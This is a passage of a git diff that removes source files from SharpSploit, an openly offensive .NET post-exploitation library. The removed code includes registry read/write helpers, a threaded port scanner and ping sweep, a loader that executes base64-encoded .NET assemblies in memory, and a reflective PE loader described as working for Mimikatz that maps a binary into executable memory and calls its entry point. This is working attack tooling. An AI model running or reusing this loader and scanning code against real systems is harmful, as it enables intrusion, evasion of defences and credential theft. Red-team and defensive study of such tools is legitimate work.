read. - /// - public static string RegistryRead(string RegPath) - { - var split = RegPath.Split(Path.DirectorySeparatorChar); - string valueName = split[split.Length - 1]; - string keyName = RegPath.Substring(0, RegPath.IndexOf(valueName)); - return RegistryRead(keyName, valueName); - } - - /// - /// Reads a value stored in registry. - /// - /// The RegistryKey to read from. - /// The name of name/value pair to read from in the RegistryKey. - /// - public static string RegistryRead(string RegKey, string RegValue) - { - try - { - object reg = Registry.GetValue(RegKey, RegValue, null); - if (reg == null) - { - return null; - } - return reg.ToString(); - } - catch (Exception e) - { - Console.Error.WriteLine("Registry read exception: " + e.Message); - return null; - } - } - - /// - /// Writes a value in the registry. - /// - /// The full path to the registry value to be written to. - /// The value to write to the registry key. - /// - public static bool RegistryWrite(string RegPath, object Value) - { - var split = RegPath.Split(Path.DirectorySeparatorChar); - string valueName = split[split.Length - 1]; - string keyName = RegPath.Substring(0, RegPath.IndexOf(valueName)); - return RegistryWrite(keyName, valueName, Value); - } - - /// - /// Writes a value in the registry. - /// - /// The RegistryKey to read from. - /// The name of name/value pair to read from in the RegistryKey. - /// The value to write to the registry key. - /// - public static bool RegistryWrite(string RegKey, string RegValue, object Value) - { - try - { - Registry.SetValue(RegKey, RegValue, Value); - return true; - } - catch (Exception e) - { - Console.Error.WriteLine("Registry write exception: " + e.Message); - return false; - } - } - - /// - /// ProcessResult represents a running process, used with the GetProcessList() function. - /// - public sealed class ProcessResult : SharpSploitResult - { - public int Pid { get; } = 0; - public int Ppid { get; } = 0; - public string Name { get; } = ""; - protected internal override IList ResultProperties - { - get - { - return new List - { - new SharpSploitResultProperty - { - Name = "Pid", - Value = this.Pid - }, - new SharpSploitResultProperty - { - Name = "Ppid", - Value = this.Ppid - }, - new SharpSploitResultProperty - { - Name = "Name", - Value = this.Name - } - }; - } - } - - public ProcessResult(int Pid = 0, int Ppid = 0, string Name = "") - { - this.Pid = Pid; - this.Ppid = Ppid; - this.Name = Name; - } - } - - /// - /// FileSystemEntryResult represents a file on disk, used with the GetDirectoryListing() function. - /// - public sealed class FileSystemEntryResult : SharpSploitResult - { - public string Name { get; } = ""; - protected internal override IList ResultProperties - { - get - { - return new List - { - new SharpSploitResultProperty - { - Name = "Name", - Value = this.Name - } - }; - } - } - - public FileSystemEntryResult(string Name = "") - { - this.Name = Name; - } - } - } -} diff --git a/Source/SharpSploit/Enumeration/Network.cs b/Source/SharpSploit/Enumeration/Network.cs deleted file mode 100644 index 62372a4..0000000 --- a/Source/SharpSploit/Enumeration/Network.cs +++ /dev/null @@ -1,340 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Linq; -using System.Net; -using System.Net.Sockets; -using System.Net.NetworkInformation; -using System.Collections.Generic; - -using SharpSploit.Generic; -using SharpSploit.Misc; - -namespace SharpSploit.Enumeration -{ - /// - /// Network is a library for network enumeration such as identifying live systems and open ports. - /// - public static class Network - { - /// - /// Conducts a port scan of a specified ComputerName and port and reports if the port is open. - /// - /// ComputerName to port scan. - /// Port to scan. - /// Optional switch. If true, pings the ComputerName to ensure it's up before port scanning. - /// Timeout (in milliseconds) before the port is considered down. - /// List of PortScanResults - public static SharpSploitResultList PortScan(string ComputerName, int Port, bool Ping = true, int Timeout = 250) - { - return PortScan(new List { ComputerName }, new List { Port }, Ping, Timeout, 1); - } - - /// - /// Conducts a port scan of specified ComputerNames on a specified port and reports if the port is open. - /// - /// ComputerNames to port scan. - /// Port to scan. - /// Optional switch. If true, pings the ComputerNames to ensure each is up before port scanning. - /// Timeout (in milliseconds) before a port is considered down. - /// Number of threads with which to portscan simultaneously - /// List of PortScanResults - public static SharpSploitResultList PortScan(IList ComputerNames, int Port, bool Ping = true, int Timeout = 250, int Threads = 100) - { - return PortScan(ComputerNames, new List { Port }, Ping, Timeout, Threads); - } - - /// - /// Conducts a port scan of a specified ComputerName on specified ports and reports open ports. - /// - /// ComputerName to port scan. - /// Ports to scan. - /// Optional switch. If true, pings the ComputerName to ensure it's up before port scanning. - /// Timeout (in milliseconds) before a port is considered down. - /// Number of threads with which to portscan simultaneously - /// List of PortScanResults - public static SharpSploitResultList PortScan(string ComputerName, IList Ports, bool Ping = true, int Timeout = 250, int Threads = 100) - { - return PortScan(new List { ComputerName }, Ports, Ping, Timeout, Threads); - } - - /// - /// Conducts a port scan of specified ComputerNames on specified ports and reports open ports. - /// - /// ComputerNames to port scan. - /// Ports to scan. - /// Optional switch. If true, pings the ComputerNames to ensure each is up before port scanning. - /// Timeout (in milliseconds) before a port is considered down. - /// Number of threads with which to portscan simultaneously - /// List of PortScanResults - public static SharpSploitResultList PortScan(IList ComputerNames, IList Ports, bool Ping = true, int Timeout = 250, int Threads = 100) - { - IList scanAddresses = Utilities.ConvertCidrToIPs(ComputerNames).Distinct().ToList(); - IList scanPorts = Ports.Where(P => P > 1 && P < 65536).Distinct().ToList(); - if (Ping) - { - SharpSploitResultList pingResults = Network.Ping(scanAddresses, Timeout, Threads); - scanAddresses = pingResults.Where(PR => PR.IsUp).Select(PR => PR.ComputerName).ToList(); - } - IList portScanResults = new List(); - using (CountdownEvent waiter = new CountdownEvent(scanAddresses.Count * Ports.Count)) - { - object portScanResultsLock = new object(); - int runningThreads = 0; - foreach (string ComputerName in scanAddresses) - { - foreach (int Port in scanPorts) - { - TcpClient client = null; - if (!Utilities.IsIP(ComputerName)) - { - client = new TcpClient(); - } - else - { - IPAddress.TryParse(ComputerName, out IPAddress address); - client = new TcpClient(address.AddressFamily); - } - PortScanResult portScanResult = new PortScanResult(ComputerName, Port, true); - while (runningThreads >= Threads) - { - waiter.WaitOne(Timeout); - runningThreads--; - } - IAsyncResult asyncResult = client.BeginConnect(ComputerName, Port, new AsyncCallback((state) => { - try - { - client.EndConnect(state); - client.Close(); - } - catch - { - portScanResult.IsOpen = false; - } - if (portScanResult.IsOpen) - { - lock (portScanResultsLock) - { - portScanResults.Add(portScanResult); - } - } - ((CountdownEvent)state.AsyncState).Signal(); - }), waiter); - runningThreads++; - } - } - waiter.Wait(Timeout * scanAddresses.Count * Ports.Count); - } - SharpSploitResultList results = new SharpSploitResultList(); - results.AddRange(portScanResults); - - return results; - } - - /// - /// Pings a specified ComputerName to identify if it is live. - /// - /// ComputerName to ping. - /// Timeout (in milliseconds) before a ComputerName is considered down. - /// - public static SharpSploitResultList Ping(string ComputerName, int Timeout = 250) - { - return Ping(new List { ComputerName }, Timeout, 1); - } - /// - /// Pings specified ComputerNames to identify live systems. - /// - /// ComputerNames to ping. - /// Timeout (in milliseconds) before a ComputerName is considered down. - /// Number of threads with which to ping simultaneously - /// - public static SharpSploitResultList Ping(IList ComputerNames, int Timeout = 250, int Threads = 100) - { - IList pingAddresses = Utilities.ConvertCidrToIPs(ComputerNames).Distinct().ToList(); - SharpSploitResultList pingResults = new SharpSploitResultList(); - using (CountdownEvent waiter = new CountdownEvent(pingAddresses.Count)) - { - object pingResultsLock = new object(); - int runningThreads = 0; - foreach (string ComputerName in pingAddresses) - { - Ping ping = new Ping(); - PingResult pingResult = new PingResult(ComputerName, true); - ping.PingCompleted += new PingCompletedEventHandler((sender, e) => - { - if (e.Reply != null && e.Reply.Status == IPStatus.Success) - { - lock (pingResultsLock) - { - pingResults.Add(pingResult); - } - } - ((CountdownEvent)e.UserState).Signal(); - }); - while (runningThreads >= Threads) - { - waiter.WaitOne(); - runningThreads--; - } - try - { - ping.SendAsync(ComputerName, Timeout, waiter); - runningThreads++; - } - catch { } - } - waiter.Wait(Timeout * pingAddresses.Count); - } - return pingResults; - } - - /// - /// PingResult represent the result of a ping, used with the Ping() functions. - /// - public sealed class PingResult : SharpSploitResult - { - public string ComputerName { get; } = ""; - public bool IsUp { get; } = false; - protected internal override IList ResultProperties - { - get - { - return new List - { - new SharpSploitResultProperty - { - Name = "ComputerName", - Value = this.ComputerName - }, - new SharpSploitResultProperty - { - Name = "IsUp", - Value = this.IsUp - } - }; - } - } - - public PingResult(string ComputerName = "", bool IsUp = false) - { - this.ComputerName = ComputerName; - this.IsUp = IsUp; - } - } - - /// - /// PortScanResult represent the result of a port scan, used with the PortScan() functions. - /// - public sealed class PortScanResult : SharpSploitResult - { - public string ComputerName { get; } = ""; - public int Port { get; } = 0; - public bool IsOpen { get; set; } = false; - protected internal override IList ResultProperties - { - get - { - return new List - { - new SharpSploitResultProperty - { - Name = "ComputerName", - Value = this.ComputerName - }, - new SharpSploitResultProperty - { - Name = "Port", - Value = this.Port - }, - new SharpSploitResultProperty - { - Name = "IsOpen", - Value = this.IsOpen - } - }; - } - } - - public PortScanResult(string ComputerName = "", int Port = 0, bool IsOpen = false) - { - this.ComputerName = ComputerName; - this.Port = Port; - this.IsOpen = IsOpen; - } - } - - private class Utilities - { - private static IList ConvertCidrToIPs(string CidrComputerName) - { - if (CidrComputerName == null || CidrComputerName == "") - { - return new List(); - } - if (!IsCidr(CidrComputerName)) - { - return new List { CidrComputerName }; - } - // credit - https://stackoverflow.com/questions/32028166 - string[] parts = CidrComputerName.Split('.', '/'); - uint ipasnum = (Convert.ToUInt32(parts[0]) << 24) | (Convert.ToUInt32(parts[1]) << 16) | - (Convert.ToUInt32(parts[2]) << 8) | (Convert.ToUInt32(parts[3])); - int maskbits = Convert.ToInt32(parts[4]); - uint mask = 0xffffffff; - mask <<= (32 - maskbits); - uint ipstart = ipasnum & mask; - uint ipend = ipasnum | ~mask; - List IPAddresses = new List(); - for (uint i = ipstart; i < ipend + 1; i++) - { - IPAddresses.Add(String.Format("{0}.{1}.{2}.{3}", i >> 24, (i >> 16) & 0xff, (i >> 8) & 0xff, i & 0xff)); - } - return IPAddresses; - } - - public static IList ConvertCidrToIPs(IList CidrComputerNames) - { - List ComputerNames = new List(); - foreach (string CidrComputerName in CidrComputerNames) - { - IList cns = ConvertCidrToIPs(CidrComputerName); - ComputerNames.AddRange(cns); - } - return ComputerNames; - } - - public static bool IsCidr(string ComputerName) - { - string[] parts = ComputerName.Split('.', '/'); - if (parts.Length != 5) - { - return false; - } - foreach (string part in parts) - { - if (!int.TryParse(part, out int i)) - { - return false; - } - if (i < 0 || i > 255) - { - return false; - } - } - if (!ComputerName.Contains("/")) - { - return false; - } - string ippart = ComputerName.Split('/')[0]; - return ippart.Split('.').Length == 4; - } - - public static bool IsIP(string ComputerName) - { - return IPAddress.TryParse(ComputerName, out IPAddress address); - } - } - } -} diff --git a/Source/SharpSploit/Execution/Assembly.cs b/Source/SharpSploit/Execution/Assembly.cs deleted file mode 100644 index 873715f..0000000 --- a/Source/SharpSploit/Execution/Assembly.cs +++ /dev/null @@ -1,69 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using Reflect = System.Reflection; - -using SharpSploit.Generic; - -namespace SharpSploit.Execution -{ - /// - /// Assembly is a library for loading .NET assemblies and executing methods contained within them. - /// - public static class Assembly - { - /// - /// Loads a specified .NET assembly byte array and executes a specified method within a - /// specified type with specified parameters. - /// - /// The .NET assembly byte array. - /// The name of the type that contains the method to execute. - /// The name of the method to execute. - /// The parameters to pass to the method. - /// GenericObjectResult of the method. - public static GenericObjectResult AssemblyExecute(byte[] AssemblyBytes, String TypeName = "", String MethodName = "Execute", Object[] Parameters = default(Object[])) - { - Reflect.Assembly assembly = Load(AssemblyBytes); - Type type = TypeName == "" ? assembly.GetTypes()[0] : assembly.GetType(TypeName); - Reflect.MethodInfo method = MethodName == "" ? type.GetMethods()[0] : type.GetMethod(MethodName); - var results = method.Invoke(null, Parameters); - return new GenericObjectResult(results); - } - - /// - /// Loads a specified base64-encoded .NET assembly and executes a specified method within a - /// specified type with specified parameters. - /// - /// The base64-encoded .NET assembly byte array. - /// The name of the type that contains the method to execute. - /// The name of the method to execute. - /// The parameters to pass to the method. - /// GenericObjectResult of the method. - public static GenericObjectResult AssemblyExecute(String EncodedAssembly, String TypeName = "", String MethodName = "Execute", Object[] Parameters = default(Object[])) - { - return AssemblyExecute(Convert.FromBase64String(EncodedAssembly)); - } - - /// - /// Loads a specified .NET assembly byte array. - /// - /// The .NET assembly byte array. - /// Loaded assembly. - public static Reflect.Assembly Load(byte[] AssemblyBytes) - { - return Reflect.Assembly.Load(AssemblyBytes); - } - - /// - /// Loads a specified .NET assembly byte array. - /// - /// The base64-encoded .NET assembly byte array. - /// Loaded assembly. - public static Reflect.Assembly Load(string EncodedAssembly) - { - return Reflect.Assembly.Load(Convert.FromBase64String(EncodedAssembly)); - } - } -} diff --git a/Source/SharpSploit/Execution/PE.cs b/Source/SharpSploit/Execution/PE.cs deleted file mode 100644 index f1fd1a4..0000000 --- a/Source/SharpSploit/Execution/PE.cs +++ /dev/null @@ -1,550 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.IO; -using System.Runtime.InteropServices; - -namespace SharpSploit.Execution -{ - /// - /// PE is a library for loading PEs in memory. It currently only work for the Mimikatz PE, not for arbitrary PEs. - /// - /// - /// PE has been adapted from Casey Smith's (@subtee) PELoader which is no longer available online. However, Chris Ross' - /// (@xorrior) fork is available here: https://github.com/xorrior/Random-CSharpTools/tree/master/DllLoader/DllLoader - /// - public class PE - { - [Flags] - public enum DataSectionFlags : uint - { - Stub = 0x00000000, - } - - public bool Is32BitHeader - { - get - { - UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100; - return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE; - } - } - - public IMAGE_FILE_HEADER FileHeader { get; private set; } - - /// Gets the optional header - public IMAGE_OPTIONAL_HEADER32 OptionalHeader32 { get; private set; } - - /// Gets the optional header - public IMAGE_OPTIONAL_HEADER64 OptionalHeader64 { get; private set; } - - public IMAGE_SECTION_HEADER[] ImageSectionHeaders { get; private set; } - - public byte[] PEBytes { get; private set; } - - /// The DOS header - private IMAGE_DOS_HEADER dosHeader; - //Primary class for loading PE - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate bool main(IntPtr arg1, uint arg2, IntPtr lparam); - - private static IntPtr codebase; - - /// - /// PE Constructor - /// - /// PE raw bytes. - public PE(byte[] PEBytes) - { - // Read in the DLL or EXE and get the timestamp - using (MemoryStream stream = new MemoryStream(PEBytes, 0, PEBytes.Length)) - { - BinaryReader reader = new BinaryReader(stream); - dosHeader = FromBinaryReader(reader); - - // Add 4 bytes to the offset - stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); - - UInt32 ntHeadersSignature = reader.ReadUInt32(); - FileHeader = FromBinaryReader(reader); - if (this.Is32BitHeader) - { - OptionalHeader32 = FromBinaryReader(reader); - } - else - { - OptionalHeader64 = FromBinaryReader(reader); - } - - ImageSectionHeaders = new IMAGE_SECTION_HEADER[FileHeader.NumberOfSections]; - for (int headerNo = 0; headerNo < ImageSectionHeaders.Length; ++headerNo) - { - ImageSectionHeaders[headerNo] = FromBinaryReader(reader); - } - this.PEBytes = PEBytes; - } - } - - /// - /// Loads a PE with a specified byte array. (Requires Admin) **(*Currently broken. Works for Mimikatz, but not arbitrary PEs*) - /// - /// - /// PE - public static PE Load(byte[] PEBytes) - { - PE pe = new PE(PEBytes); - if (pe.Is32BitHeader) - { - // Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader32.ImageBase.ToString("X4")); - codebase = Win32.Kernel32.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader32.SizeOfImage, Win32.Kernel32.MEM_COMMIT, Win32.WinNT.PAGE_EXECUTE_READWRITE); - // Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader32.SizeOfImage.ToString("X4"), codebase.ToString("X4")); - } - else - { - // Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4")); - codebase = Win32.Kernel32.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, Win32.Kernel32.MEM_COMMIT, Win32.WinNT.PAGE_EXECUTE_READWRITE); - // Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4")); - } - - // Copy Sections - for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) - { - IntPtr y = Win32.Kernel32.VirtualAlloc(IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, Win32.Kernel32.MEM_COMMIT, Win32.WinNT.PAGE_EXECUTE_READWRITE); - Marshal.Copy(pe.PEBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData); - // Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4")); - } - - // Perform Base Relocation - // Calculate Delta - IntPtr currentbase = codebase; - long delta; - if (pe.Is32BitHeader) - { - delta = (int)(currentbase.ToInt32() - (int)pe.OptionalHeader32.ImageBase); - } - else - { - delta = (long)(currentbase.ToInt64() - (long)pe.OptionalHeader64.ImageBase); - } - // Console.WriteLine("Delta = {0}", delta.ToString("X4")); - - // Modify Memory Based On Relocation Table - IntPtr relocationTable; - if (pe.Is32BitHeader) - { - relocationTable = (IntPtrAdd(codebase, (int)pe.OptionalHeader32.BaseRelocationTable.VirtualAddress)); - } - else - { - relocationTable = (IntPtrAdd(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress)); - } - - Win32.Kernel32.IMAGE_BASE_RELOCATION relocationEntry = new Win32.Kernel32.IMAGE_BASE_RELOCATION(); - relocationEntry = (Win32.Kernel32.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(Win32.Kernel32.IMAGE_BASE_RELOCATION)); - - int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(Win32.Kernel32.IMAGE_BASE_RELOCATION)); - IntPtr nextEntry = relocationTable; - int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; - IntPtr offset = relocationTable; - - while (true) - { - Win32.Kernel32.IMAGE_BASE_RELOCATION relocationNextEntry = new Win32.Kernel32.IMAGE_BASE_RELOCATION(); - IntPtr x = IntPtrAdd(relocationTable, sizeofNextBlock); - relocationNextEntry = (Win32.Kernel32.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(Win32.Kernel32.IMAGE_BASE_RELOCATION)); - - IntPtr dest = IntPtrAdd(codebase, (int)relocationEntry.VirtualAdress); - - for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) - { - IntPtr patchAddr; - UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); - - UInt16 type = (UInt16)(value >> 12); - UInt16 fixup = (UInt16)(value & 0xfff); - - switch (type) - { - case 0x0: - break; - case 0x3: - patchAddr = IntPtrAdd(dest, fixup); - //Add Delta To Location. - int originalx86Addr = Marshal.ReadInt32(patchAddr); - Marshal.WriteInt32(patchAddr, originalx86Addr + (int)delta); - break; - case 0xA: - patchAddr = IntPtrAdd(dest, fixup); - //Add Delta To Location. - long originalAddr = Marshal.ReadInt64(patchAddr); - Marshal.WriteInt64(patchAddr, originalAddr + delta); - break; - } - - } - - offset = IntPtrAdd(relocationTable, sizeofNextBlock); - sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; - relocationEntry = relocationNextEntry; - - nextEntry = IntPtrAdd(nextEntry, sizeofNextBlock); - - if (relocationNextEntry.SizeOfBlock == 0) break; - } - - // Resolve Imports - - IntPtr z; - IntPtr oa1; - int oa2; - - if (pe.Is32BitHeader) - { - z = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); - oa1 = IntPtrAdd(codebase, (int)pe.OptionalHeader32.ImportTable.VirtualAddress); - oa2 = Marshal.ReadInt32(IntPtrAdd(oa1, 16)); - } - else - { - z = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); - oa1 = IntPtrAdd(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress); - oa2 = Marshal.ReadInt32(IntPtrAdd(oa1, 16)); - } - - // Get And Display Each DLL To Load - IntPtr threadStart; - int VirtualAddress, AddressOfEntryPoint, ByteSize; - if (pe.Is32BitHeader) - { - VirtualAddress = (int)pe.OptionalHeader32.ImportTable.VirtualAddress; - AddressOfEntryPoint = (int)pe.OptionalHeader32.AddressOfEntryPoint; - ByteSize = 4; - } - else - { - VirtualAddress = (int)pe.OptionalHeader64.ImportTable.VirtualAddress; - AddressOfEntryPoint = (int)pe.OptionalHeader64.AddressOfEntryPoint; - ByteSize = 8; - } - int j = 0; - while (true) - { - IntPtr a1 = IntPtrAdd(codebase, (20 * j) + VirtualAddress); - int entryLength = Marshal.ReadInt32(IntPtrAdd(a1, 16)); - IntPtr a2 = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); - IntPtr dllNamePTR = (IntPtr)(IntPtrAdd(codebase, Marshal.ReadInt32(IntPtrAdd(a1, 12)))); - string DllName = Marshal.PtrToStringAnsi(dllNamePTR); - if (DllName == "") { break; } - - IntPtr handle = Win32.Kernel32.LoadLibrary(DllName); - // Console.WriteLine("Loaded {0}", DllName); - int k = 0; - while (true) - { - IntPtr dllFuncNamePTR = (IntPtrAdd(codebase, Marshal.ReadInt32(a2))); - string DllFuncName = Marshal.PtrToStringAnsi(IntPtrAdd(dllFuncNamePTR, 2)); - IntPtr funcAddy = Win32.Kernel32.GetProcAddress(handle, DllFuncName); - if (pe.Is32BitHeader) { Marshal.WriteInt32(a2, (int)funcAddy); } - else { Marshal.WriteInt64(a2, (long)funcAddy); } - a2 = IntPtrAdd(a2, ByteSize); - if (DllFuncName == "") break; - k++; - } - j++; - } - // Transfer Control To OEP - // Call dllmain - threadStart = IntPtrAdd(codebase, AddressOfEntryPoint); - main dllmain = (main)Marshal.GetDelegateForFunctionPointer(threadStart, typeof(main)); - dllmain(codebase, 1, IntPtr.Zero); - // Console.WriteLine("Thread Complete"); - return pe; - } - - /// - /// Gets a pointer to an exported function in the PE. Useful to call specific exported functions after loading the PE. - /// - /// Name of the function to get a pointer for. - /// Pointer to the function. - public IntPtr GetFunctionExport(string funcName) - { - IntPtr ExportTablePtr = IntPtr.Zero; - PE.IMAGE_EXPORT_DIRECTORY expDir; - - if (this.Is32BitHeader && this.OptionalHeader32.ExportTable.Size == 0) { return IntPtr.Zero; } - else if (!this.Is32BitHeader && this.OptionalHeader64.ExportTable.Size == 0) { return IntPtr.Zero; } - - if (this.Is32BitHeader) - { - ExportTablePtr = (IntPtr)((ulong)codebase + (ulong)this.OptionalHeader32.ExportTable.VirtualAddress); - } - else - { - ExportTablePtr = (IntPtr)((ulong)codebase + (ulong)this.OptionalHeader64.ExportTable.VirtualAddress); - } - - expDir = (PE.IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure(ExportTablePtr, typeof(PE.IMAGE_EXPORT_DIRECTORY)); - for (int i = 0; i < expDir.NumberOfNames; i++) - { - IntPtr NameOffsetPtr = (IntPtr)((ulong)codebase + (ulong)expDir.AddressOfNames); - NameOffsetPtr = (IntPtr)((ulong)NameOffsetPtr + (ulong)(i * Marshal.SizeOf(typeof(uint)))); - IntPtr NamePtr = (IntPtr)((ulong)codebase + (uint)Marshal.PtrToStructure(NameOffsetPtr, typeof(uint))); - - string Name = Marshal.PtrToStringAnsi(NamePtr); - if (Name.Contains(funcName)) - { - IntPtr AddressOfFunctions = (IntPtr)((ulong)codebase + (ulong)expDir.AddressOfFunctions); - IntPtr OrdinalRvaPtr = (IntPtr)((ulong)codebase + (ulong)(expDir.AddressOfOrdinals + (i * Marshal.SizeOf(typeof(UInt16))))); - UInt16 FuncIndex = (UInt16)Marshal.PtrToStructure(OrdinalRvaPtr, typeof(UInt16)); - IntPtr FuncOffsetLocation = (IntPtr)((ulong)AddressOfFunctions + (ulong)(FuncIndex * Marshal.SizeOf(typeof(UInt32)))); - IntPtr FuncLocationInMemory = (IntPtr)((ulong)codebase + (uint)Marshal.PtrToStructure(FuncOffsetLocation, typeof(UInt32))); - return FuncLocationInMemory; - } - } - return IntPtr.Zero; - } - - private static T FromBinaryReader(BinaryReader reader) - { - // Read in a byte array - byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T))); - - // Pin the managed memory while, copy it out the data, then unpin it - GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); - T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); - handle.Free(); - - return theStructure; - } - - private static IntPtr IntPtrAdd(IntPtr a, int b) - { - IntPtr ptr = new IntPtr(a.ToInt64() + b); - return ptr; - } - - public struct IMAGE_DOS_HEADER - { // DOS .EXE header - public UInt16 e_magic; // Magic number - public UInt16 e_cblp; // Bytes on last page of file - public UInt16 e_cp; // Pages in file - public UInt16 e_crlc; // Relocations - public UInt16 e_cparhdr; // Size of header in paragraphs - public UInt16 e_minalloc; // Minimum extra paragraphs needed - public UInt16 e_maxalloc; // Maximum extra paragraphs needed - public UInt16 e_ss; // Initial (relative) SS value - public UInt16 e_sp; // Initial SP value - public UInt16 e_csum; // Checksum - public UInt16 e_ip; // Initial IP value - public UInt16 e_cs; // Initial (relative) CS value - public UInt16 e_lfarlc; // File address of relocation table - public UInt16 e_ovno; // Overlay number - public UInt16 e_res_0; // Reserved words - public UInt16 e_res_1; // Reserved words - public UInt16 e_res_2; // Reserved words - public UInt16 e_res_3; // Reserved words - public UInt16 e_oemid; // OEM identifier (for e_oeminfo) - public UInt16 e_oeminfo; // OEM information; e_oemid specific - public UInt16 e_res2_0; // Reserved words - public UInt16 e_res2_1; // Reserved words - public UInt16 e_res2_2; // Reserved words - public UInt16 e_res2_3; // Reserved words - public UInt16 e_res2_4; // Reserved words - public UInt16 e_res2_5; // Reserved words - public UInt16 e_res2_6; // Reserved words - public UInt16 e_res2_7; // Reserved words - public UInt16 e_res2_8; // Reserved words - public UInt16 e_res2_9; // Reserved words - public UInt32 e_lfanew; // File address of new exe header - } - - [StructLayout(LayoutKind.Sequential)] - public struct IMAGE_DATA_DIRECTORY - { - public UInt32 VirtualAddress; - public UInt32 Size; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_OPTIONAL_HEADER32 - { - public UInt16 Magic; - public Byte MajorLinkerVersion; - public Byte MinorLinkerVersion; - public UInt32 SizeOfCode; - public UInt32 SizeOfInitializedData; - public UInt32 SizeOfUninitializedData; - public UInt32 AddressOfEntryPoint; - public UInt32 BaseOfCode; - public UInt32 BaseOfData; - public UInt32 ImageBase; - public UInt32 SectionAlignment; - public UInt32 FileAlignment; - public UInt16 MajorOperatingSystemVersion; - public UInt16 MinorOperatingSystemVersion; - public UInt16 MajorImageVersion; - public UInt16 MinorImageVersion; - public UInt16 MajorSubsystemVersion; - public UInt16 MinorSubsystemVersion; - public UInt32 Win32VersionValue; - public UInt32 SizeOfImage; - public UInt32 SizeOfHeaders; - public UInt32 CheckSum; - public UInt16 Subsystem; - public UInt16 DllCharacteristics; - public UInt32 SizeOfStackReserve; - public UInt32 SizeOfStackCommit; - public UInt32 SizeOfHeapReserve; - public UInt32 SizeOfHeapCommit; - public UInt32 LoaderFlags; - public UInt32 NumberOfRvaAndSizes; - - public IMAGE_DATA_DIRECTORY ExportTable; - public IMAGE_DATA_DIRECTORY ImportTable; - public IMAGE_DATA_DIRECTORY ResourceTable; - public IMAGE_DATA_DIRECTORY ExceptionTable; - public IMAGE_DATA_DIRECTORY CertificateTable; - public IMAGE_DATA_DIRECTORY BaseRelocationTable; - public IMAGE_DATA_DIRECTORY Debug; - public IMAGE_DATA_DIRECTORY Architecture; - public IMAGE_DATA_DIRECTORY GlobalPtr; - public IMAGE_DATA_DIRECTORY TLSTable; - public IMAGE_DATA_DIRECTORY LoadConfigTable; - public IMAGE_DATA_DIRECTORY BoundImport; - public IMAGE_DATA_DIRECTORY IAT; - public IMAGE_DATA_DIRECTORY DelayImportDescriptor; - public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; - public IMAGE_DATA_DIRECTORY Reserved; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_OPTIONAL_HEADER64 - { - public UInt16 Magic; - public Byte MajorLinkerVersion; - public Byte MinorLinkerVersion; - public UInt32 SizeOfCode; - public UInt32 SizeOfInitializedData; - public UInt32 SizeOfUninitializedData; - public UInt32 AddressOfEntryPoint; - public UInt32 BaseOfCode; - public UInt64 ImageBase; - public UInt32 SectionAlignment; - public UInt32 FileAlignment; - public UInt16 MajorOperatingSystemVersion; - public UInt16 MinorOperatingSystemVersion; - public UInt16 MajorImageVersion; - public UInt16 MinorImageVersion; - public UInt16 MajorSubsystemVersion; - public UInt16 MinorSubsystemVersion; - public UInt32 Win32VersionValue; - public UInt32 SizeOfImage; - public UInt32 SizeOfHeaders; - public UInt32 CheckSum; - public UInt16 Subsystem; - public UInt16 DllCharacteristics; - public UInt64 SizeOfStackReserve; - public UInt64 SizeOfStackCommit; - public UInt64 SizeOfHeapReserve; - public UInt64 SizeOfHeapCommit; - public UInt32 LoaderFlags; - public UInt32 NumberOfRvaAndSizes; - - public IMAGE_DATA_DIRECTORY ExportTable; - public IMAGE_DATA_DIRECTORY ImportTable; - public IMAGE_DATA_DIRECTORY ResourceTable; - public IMAGE_DATA_DIRECTORY ExceptionTable; - public IMAGE_DATA_DIRECTORY CertificateTable; - public IMAGE_DATA_DIRECTORY BaseRelocationTable; - public IMAGE_DATA_DIRECTORY Debug; - public IMAGE_DATA_DIRECTORY Architecture; - public 